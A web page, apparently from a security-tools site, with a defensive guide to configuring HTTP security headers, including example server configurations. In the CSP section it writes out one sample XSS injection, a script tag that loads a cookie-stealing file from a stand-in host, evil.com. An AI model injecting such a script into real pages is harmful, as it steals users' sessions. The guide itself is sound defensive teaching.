Tools Learn Login Sign up
Home / Learn / HTTP Security Headers Guide

HTTP Security Headers: Your Website's First Line of Defense

HTTP security headers are instructions your web server sends to browsers, telling them how to behave when handling your site's content. They're one of the easiest and most effective ways to protect your users from common web attacks.

Quick Win: Adding proper security headers can improve your security posture dramatically with just a few lines of server configuration. Most can be implemented in under an hour.

Why Security Headers Matter

Without security headers, browsers make default assumptions that may not be safe. Attackers exploit these defaults to steal data, hijack sessions, and trick users. Security headers tell browsers exactly how to protect your users.

Without headers
  • Site can be embedded in malicious iframes
  • Browsers may interpret files incorrectly
  • Connections can be downgraded to HTTP
  • Scripts from any source can execute
With headers
  • Clickjacking attacks blocked
  • MIME-type confusion prevented
  • HTTPS enforced automatically
  • Only approved scripts can run

The Seven Headers at a Glance

Here's the full set you'll configure below, what each defends, and how urgent it is to ship:

HSTS core

Forces HTTPS on every connection — blocks SSL stripping and downgrade attacks.

CSP powerful

Controls which scripts, styles and resources may load — the strongest XSS defence.

X-Frame-Options easy

Stops your pages being embedded in hostile iframes — blocks clickjacking.

X-Content-Type-Options easy

Stops MIME sniffing so disguised files can't be executed as scripts.

Referrer-Policy privacy

Controls how much URL data leaks in the Referer header to other sites.

Permissions-Policy privacy

Restricts camera, mic, geolocation and other powerful features — for you and embeds.

COOP / COEP / CORP advanced

Isolate your page from Spectre-style cross-origin leaks and unlock high-precision APIs.


1. Strict-Transport-Security (HSTS)

What it does: Forces browsers to always use HTTPS, even if the user types "http://" or clicks an HTTP link. Once set, the browser will automatically convert all HTTP requests to HTTPS.

Real-World Attack It Prevents

Coffee Shop Attack: You're at a coffee shop on public WiFi. An attacker intercepts your connection and redirects you to http://yourbank.com (without the 's'). Without HSTS, you might not notice. With HSTS, your browser refuses to connect over HTTP - you're protected.

Example Configuration

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

What Each Part Means

  • max-age=31536000 - Remember this setting for 1 year (31,536,000 seconds)
  • includeSubDomains - Apply to all subdomains too (api.example.com, www.example.com)
  • preload - Allow inclusion in browser preload lists (ultimate protection)
Warning: Once you enable HSTS, your site MUST support HTTPS. If your certificate expires, users won't be able to access your site at all. Make sure your certificate auto-renews!

2. Content-Security-Policy (CSP)

What it does: Controls which resources (scripts, styles, images, fonts) can load on your page. It's the most powerful header for preventing XSS attacks, but also the most complex to configure.

Real-World Attack It Prevents

XSS Attack Example: An attacker finds a way to inject this into your page:
<script src="https://evil.com/steal-cookies.js"></script>
Without CSP, the browser loads and executes the malicious script. With CSP, the browser blocks it because evil.com isn't on your approved list.

Example Configuration

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com

What Each Directive Means

  • default-src 'self' - By default, only load resources from your own domain
  • script-src 'self' https://cdn.example.com - Scripts only from your domain and your CDN
  • style-src 'self' 'unsafe-inline' - Styles from your domain, allow inline styles
  • img-src 'self' data: https: - Images from your domain, data URIs, or any HTTPS source
  • font-src 'self' https://fonts.gstatic.com - Fonts from your domain and Google Fonts
Start with Report-Only: Use Content-Security-Policy-Report-Only first to see what would be blocked without actually breaking your site. Fix issues, then switch to enforcing mode.

3. X-Frame-Options

What it does: Controls whether your site can be embedded in iframes on other sites. This prevents clickjacking attacks where your site is invisibly overlaid on a malicious page.

Real-World Attack It Prevents

Clickjacking Attack: An attacker creates a page with a "Win a Free iPhone!" button. Invisibly positioned over it is an iframe of your banking site's "Transfer $1000" button. Users think they're claiming a prize but are actually authorizing a transfer. X-Frame-Options blocks this entirely.

Example Configuration

X-Frame-Options: DENY

Available Options

  • DENY - Never allow framing (most secure)
  • SAMEORIGIN - Only allow framing by pages on the same domain
  • ALLOW-FROM https://trusted.com - Only allow framing by a specific domain (deprecated)
Modern Alternative: CSP's frame-ancestors directive provides more flexibility: frame-ancestors 'self' https://partner.com

4. X-Content-Type-Options

What it does: Prevents browsers from "sniffing" the content type of files. This stops attacks where malicious files are disguised as harmless ones.

Real-World Attack It Prevents

MIME Confusion Attack: An attacker uploads a file called "image.jpg" to your site, but it actually contains JavaScript. Without this header, a browser might "sniff" the content, realize it's JavaScript, and execute it - bypassing your security. With the header, the browser treats it strictly as an image and the code never runs.

Example Configuration

X-Content-Type-Options: nosniff

There's only one value: nosniff. This tells browsers: "Trust the Content-Type header I send. Don't try to guess."


5. Referrer-Policy

What it does: Controls what information is sent in the Referer header when users click links or load resources from your site. This protects user privacy and prevents data leakage.

Real-World Privacy Issue It Prevents

URL Data Leakage: Your site has URLs like /user/12345/medical-records. When a user clicks an external link, by default the full URL is sent to that site - revealing user IDs and sensitive page information. With proper Referrer-Policy, you control exactly what's shared.

Example Configuration

Referrer-Policy: strict-origin-when-cross-origin

Common Policies Explained

  • no-referrer - Never send referrer information (most private)
  • same-origin - Only send referrer for same-origin requests
  • strict-origin - Send only the origin (not full URL) for HTTPS, nothing for HTTP
  • strict-origin-when-cross-origin - Full URL for same-origin, just origin for cross-origin (recommended)

6. Permissions-Policy

What it does: Controls which browser features (camera, microphone, geolocation, etc.) can be used on your site and by embedded content. This limits the damage if your site is compromised.

Real-World Risk It Mitigates

Feature Abuse: You embed a third-party widget on your site. Without Permissions-Policy, that widget could silently access your users' cameras, track their location, or use other sensitive features. With the header, you explicitly deny these capabilities to embedded content.

Example Configuration

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self)

What This Example Does

  • camera=() - No one can access the camera, not even your own site
  • microphone=() - Microphone access completely disabled
  • geolocation=() - Location tracking disabled
  • payment=(self) - Only your own site can use the Payment Request API

7. Cross-Origin Isolation (COOP / COEP / CORP)

What it does: These three headers work together to isolate your page from cross-origin attacks like Spectre side-channel leaks, and unlock high-precision APIs (SharedArrayBuffer, performance.now() at microsecond resolution, Atomics.wait) that browsers gate behind cross-origin isolation.

Real-World Risk They Mitigate

Spectre-style leaks: Without isolation, a malicious cross-origin iframe or popup sharing your process could speculatively read memory containing your users' session data. Modern browsers require COOP+COEP+CORP to put your page in its own process group and refuse to load cross-origin resources that haven't explicitly opted in.

Example Configuration

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-origin

What Each Does

  • COOP (Cross-Origin-Opener-Policy): Severs the window reference between your page and cross-origin popups/openers. same-origin is the recommended value; same-origin-allow-popups is a useful relaxation if you use OAuth popups.
  • COEP (Cross-Origin-Embedder-Policy): Refuses to load cross-origin subresources unless they explicitly opt in via CORP or CORS. Use require-corp (strict) or credentialless (relaxed — sends no credentials so third-party resources can load without CORP).
  • CORP (Cross-Origin-Resource-Policy): Goes on your subresources (images, scripts, JSON) to tell other origins whether they can embed them. same-origin, same-site, or cross-origin.
Caution: Enabling COEP can break third-party widgets and CDN assets that don't send CORP or CORS headers. Roll out with Cross-Origin-Embedder-Policy-Report-Only first, review the reports, then enforce. Only enable if you actually need a cross-origin-isolated context (e.g. for WebAssembly threads, video editing, multiplayer games).

Secure vs Insecure Configuration

The same header can help or hurt depending on its value. A few patterns to follow — and a few to avoid:

Secure config
  • HSTS with a long max-age plus includeSubDomains, only after every subdomain serves HTTPS.
  • CSP with a tight default-src 'self' and an explicit allow-list per resource type.
  • Roll CSP and COEP out in Report-Only mode first, then enforce.
  • Send headers with always (nginx) so they apply to error responses too.
Insecure config
  • Enabling preload HSTS before subdomains are HTTPS-ready — you lock yourself out.
  • A CSP with script-src 'unsafe-inline' or wildcard * — it defeats the point.
  • Relying on the deprecated X-Frame-Options: ALLOW-FROM instead of frame-ancestors.
  • Shipping X-Content-Type-Options any value other than nosniff.

Quick Implementation Guide

Apache (.htaccess)

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"

Nginx

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;

Express.js (Node.js)

const helmet = require('helmet');
app.use(helmet());  // Adds sensible defaults for all headers

Testing Your Headers

After implementing security headers, it's crucial to verify they're working correctly. Use our free tool to scan your site and get a detailed report.

Summary: Header Cheat Sheet

Header Protects Against Recommended Value
Strict-Transport-Security SSL stripping, downgrade attacks max-age=31536000; includeSubDomains
Content-Security-Policy XSS, code injection default-src 'self' (customize per site)
X-Frame-Options Clickjacking DENY
X-Content-Type-Options MIME sniffing attacks nosniff
Referrer-Policy URL data leakage strict-origin-when-cross-origin
Permissions-Policy Feature abuse camera=(), microphone=(), geolocation=()
You're Ready! Implementing these six headers will significantly improve your website's security posture. Start with the easiest ones (X-Frame-Options, X-Content-Type-Options) and work up to CSP, which requires more testing.

Report a bug

We're new and growing — your feedback helps us improve.

Click to upload, or paste (Ctrl+V) an image